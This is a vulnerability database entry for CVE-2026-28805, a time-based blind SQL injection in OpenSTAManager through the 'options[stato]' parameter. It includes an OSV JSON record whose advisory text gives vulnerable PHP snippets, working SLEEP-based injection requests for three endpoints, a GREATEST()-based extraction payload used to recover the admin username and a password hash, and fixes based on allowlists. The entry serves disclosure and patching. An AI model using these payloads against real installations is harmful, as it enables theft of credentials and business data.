CVE-2026-28805: Devcode it/openstamanager SQL Injection Vulnerability
HIGHCVE-2026-28805 is a HIGH (CVSS 8.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a time-based blind sql injection via `options[stato]` parameter. Remediation is available by upgrading affected packages to version 2.10.2.
CVE-2026-28805 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-28805
To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade devcode-it/openstamanager to 2.10.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for devcode-it/openstamanager
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-28805, inspect your project dependencies for Devcode it/openstamanager:
inspect dependencies for devcode-it/openstamanager
Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-28805 Affected Devcode it/openstamanager Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
devcode-it/openstamanager
|
Packagist |
< 2.10.2
|
2.10.2
|
References
Frequently Asked Questions
What is CVE-2026-28805?
Which Devcode it/openstamanager versions are affected?
What version fixes CVE-2026-28805?
Is devcode-it/openstamanager affected?
What is the CVSS score of CVE-2026-28805?
What CWE is associated with CVE-2026-28805?
How can I check Packagist dependencies for CVE-2026-28805?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3gw8-3mg3-jmpc",
"modified" : "2026-04-06T17:17:50Z",
"published" : "2026-04-01T19:46:00Z",
"aliases" : [ "CVE-2026-28805" ],
"summary" : "OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter",
"details" : "## Description\n\nMultiple AJAX select handlers in OpenSTAManager <= 2.10.1 are vulnerable to Time-Based Blind SQL Injection through the `options[stato]` GET parameter. The user-supplied value is read from `$superselect['stato']` and concatenated directly into SQL WHERE clauses as a bare expression, without any sanitization, parameterization, or allowlist validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including usernames, password hashes, financial records, and any other information stored in the MySQL database.\n\n## Affected Endpoints\n\nThree modules share the same vulnerability pattern:\n\n### 1. Preventivi (Quotes) - Primary\n\n- **Endpoint:** `GET /ajax_select.php?op=preventivi`\n- **File:** `modules/preventivi/ajax/select.php`, line 60\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/preventivi/ajax/select.php, lines 59-60\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\n$where[] = '('.$stato.' = 1)';\n```\n\nThe `$stato` variable is inserted as a bare expression inside parentheses. The resulting SQL fragment becomes `({user_input} = 1)`, allowing an attacker to break out of the expression and inject arbitrary SQL.\n\n### 2. Ordini (Orders)\n\n- **Endpoint:** `GET /ajax_select.php?op=ordini-cliente`\n- **File:** `modules/ordini/ajax/select.php`, line 52\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/ordini/ajax/select.php, lines 51-52\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_fatturabile';\n$where[] = '`or_statiordine`.'.$stato.' = 1';\n```\n\nThe `$stato` variable is inserted as a column name reference. The resulting SQL fragment becomes `` `or_statiordine`.{user_input} = 1 ``, allowing injection after the table-column reference.\n\n### 3. Contratti (Contracts)\n\n- **Endpoint:** `GET /ajax_select.php?op=contratti`\n- **File:** `modules/contratti/ajax/select.php`, line 57\n- **Required parameters:** `options[idanagrafica]` (any valid ID)\n\n**Vulnerable code:**\n\n```php\n// modules/contratti/ajax/select.php, lines 56-57\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\n$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';\n```\n\nThe `$stato` variable is inserted inside a subquery. The resulting SQL fragment becomes `WHERE {user_input} = 1)`, allowing an attacker to close the subquery and inject into the outer query.\n\n## Root Cause Analysis\n\n### Data Flow\n\n1. The attacker sends a GET request with `options[stato]=<payload>` to `/ajax_select.php`\n2. `ajax_select.php` (line 30) reads the value via `filter('options')`, which applies HTMLPurifier sanitization\n3. HTMLPurifier strips HTML tags and the `>` character, but does **NOT** strip SQL keywords (`SELECT`, `SLEEP`, `IF`, `UNION`, etc.) or SQL-significant characters (`(`, `)`, `=`, `'`, etc.)\n4. The sanitized value is passed to `AJAX::select()` in `src/AJAX.php` (line 40)\n5. `AJAX::getSelectResults()` assigns `$superselect = $options` (line 273) and `require`s the module's `select.php` file (line 275)\n6. The module's `select.php` reads `$superselect['stato']` and concatenates it directly into the `$where[]` array\n7. `AJAX::selectResults()` joins all WHERE elements with `AND` and executes the query via `Query::executeAndCount()` (line 120)\n\n### Why HTMLPurifier is Insufficient\n\nHTMLPurifier is an HTML sanitization library designed to prevent XSS attacks. It is **not** an SQL injection prevention mechanism. Specifically:\n\n- It does **not** strip SQL keywords: `SELECT`, `SLEEP`, `IF`, `UNION`, `FROM`, `WHERE`\n- It does **not** strip SQL operators: `=`, `(`, `)`, `,`, `+`, `-`, `*`\n- It strips the `>` character (used in HTML), which can be bypassed using MySQL's `GREATEST()` function\n- It provides zero protection against SQL injection\n\n## Proof of Concept\n\n### Prerequisites\n\n- A valid user account on the OpenSTAManager instance (any privilege level)\n- Network access to the application\n\n### Step 1: Authenticate\n\n```\nPOST /index.php HTTP/1.1\nHost: <target>\nContent-Type: application/x-www-form-urlencoded\n\nop=login&username=<user>&password=<pass>\n```\n\nSave the `PHPSESSID` cookie from the `Set-Cookie` response header.\n\n### Step 2: Verify Injection (SLEEP test)\n\n**Baseline request** (normal response time ~200ms):\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile HTTP/1.1\nHost: <target>\nCookie: PHPSESSID=<session>\n```\n\n**Injection request** (response time ~10 seconds):\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1\nHost: <target>\nCookie: PHPSESSID=<session>\n```\n\n**Expected result:** The response is delayed by approximately 10 seconds, confirming that the `SLEEP(10)` function was executed by the database server. The response body in both cases is identical: `{\"results\":[],\"recordsFiltered\":0}`.\n\n<img width=\"934\" height=\"491\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27beff84-3e25-43e1-b484-76db25c0faa8\" />\n\n\n### Step 3: Data Extraction (demonstrating impact)\n\nUsing binary search with time-based boolean conditions, an attacker can extract arbitrary data. The `>` character is stripped by HTMLPurifier, so the `GREATEST()` function is used as an equivalent:\n\n**Extract username length:**\n\n```\nGET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1\n```\n\nThis technique was used to successfully extract:\n\n- **Username:** `admin` (5 characters, extracted character by character)\n- **Password hash prefix:** `$2y$10$qAo04wNbhR9cpxjHzrtcnu...` (bcrypt)\n- **MySQL version:** `8.3.0`\n\n### PoC for Other Endpoints\n\n**Ordini (orders):**\n\n```\nGET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1\n```\n\n**Contratti (contracts):**\n\n```\nGET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1\n```\n\nBoth endpoints show the same SLEEP-based timing delay, confirming the injection.\n\n## Impact\n\n- **Confidentiality:** An attacker can extract the entire database contents, including user credentials (usernames and bcrypt password hashes), personal identifiable information (PII), financial records (invoices, quotes, contracts, payments), and application configuration.\n- **Integrity:** With MySQL's `INSERT`/`UPDATE` capabilities via subqueries, an attacker may be able to modify data.\n- **Availability:** An attacker can execute `SLEEP()` with large values or resource-intensive queries to cause denial of service.\n\n## Proposed Remediation\n\n### Option A: Allowlist Validation (Recommended)\n\nReplace the direct concatenation with an allowlist of permitted column names:\n\n```php\n// modules/preventivi/ajax/select.php — FIXED\n$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile', 'is_concluso'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_pianificabile';\n$where[] = '('.$stato.' = 1)';\n```\n\n```php\n// modules/ordini/ajax/select.php — FIXED\n$allowed_stati = ['is_fatturabile', 'is_evadibile', 'is_completato'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_fatturabile';\n$where[] = '`or_statiordine`.'.$stato.' = 1';\n```\n\n```php\n// modules/contratti/ajax/select.php — FIXED\n$allowed_stati = ['is_pianificabile', 'is_completato', 'is_fatturabile'];\n$stato = !empty($superselect['stato']) && in_array($superselect['stato'], $allowed_stati)\n ? $superselect['stato']\n : 'is_pianificabile';\n$where[] = '`idstato` IN (SELECT `id` FROM `co_staticontratti` WHERE '.$stato.' = 1)';\n```\n\nThis approach is recommended because the `stato` parameter represents a database column name (not a value), so prepared statements cannot be used here. The allowlist ensures only known-safe column names are accepted.\n\n### Option B: Regex Validation (Alternative)\n\nIf the set of column names is dynamic, validate the format strictly:\n\n```php\n$stato = !empty($superselect['stato']) ? $superselect['stato'] : 'is_pianificabile';\nif (!preg_match('/^[a-z_]+$/i', $stato)) {\n $stato = 'is_pianificabile'; // fallback to safe default\n}\n$where[] = '('.$stato.' = 1)';\n```\n\nThis ensures only alphabetic characters and underscores are accepted, preventing any SQL injection.\n\n### Option C: Backtick Quoting (Supplementary)\n\nIn addition to validation, wrap the column name in backticks to treat it as an identifier:\n\n```php\n$where[] = '(`'.str_replace('`', '', $stato).'` = 1)';\n```\n\n**Note:** This alone is insufficient without input validation but provides defense-in-depth.\n\n### Global Recommendation\n\nAudit all usages of `$superselect` across the codebase. Any value from `$superselect` that is used as part of a SQL expression (not as a parameterized value) must be validated against an allowlist. The `prepare()` function is already used correctly in other parts of the code — the issue is specifically where `$superselect` values are used as column names or bare expressions.\n\n### Credits\nOmar Ramirez",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "devcode-it/openstamanager"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.10.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.10.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-3gw8-3mg3-jmpc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28805"
}, {
"type" : "WEB",
"url" : "https://github.com/devcode-it/openstamanager/commit/50b9089c506ba2ca249afb1dfead2af5d42c10e7"
}, {
"type" : "WEB",
"url" : "https://github.com/devcode-it/openstamanager/commit/679c40fa5b3acad4263b537f367c0695ff9666dc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/devcode-it/openstamanager"
}, {
"type" : "WEB",
"url" : "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-01T19:46:00Z",
"nvd_published_at" : "2026-04-02T14:16:26Z"
}
}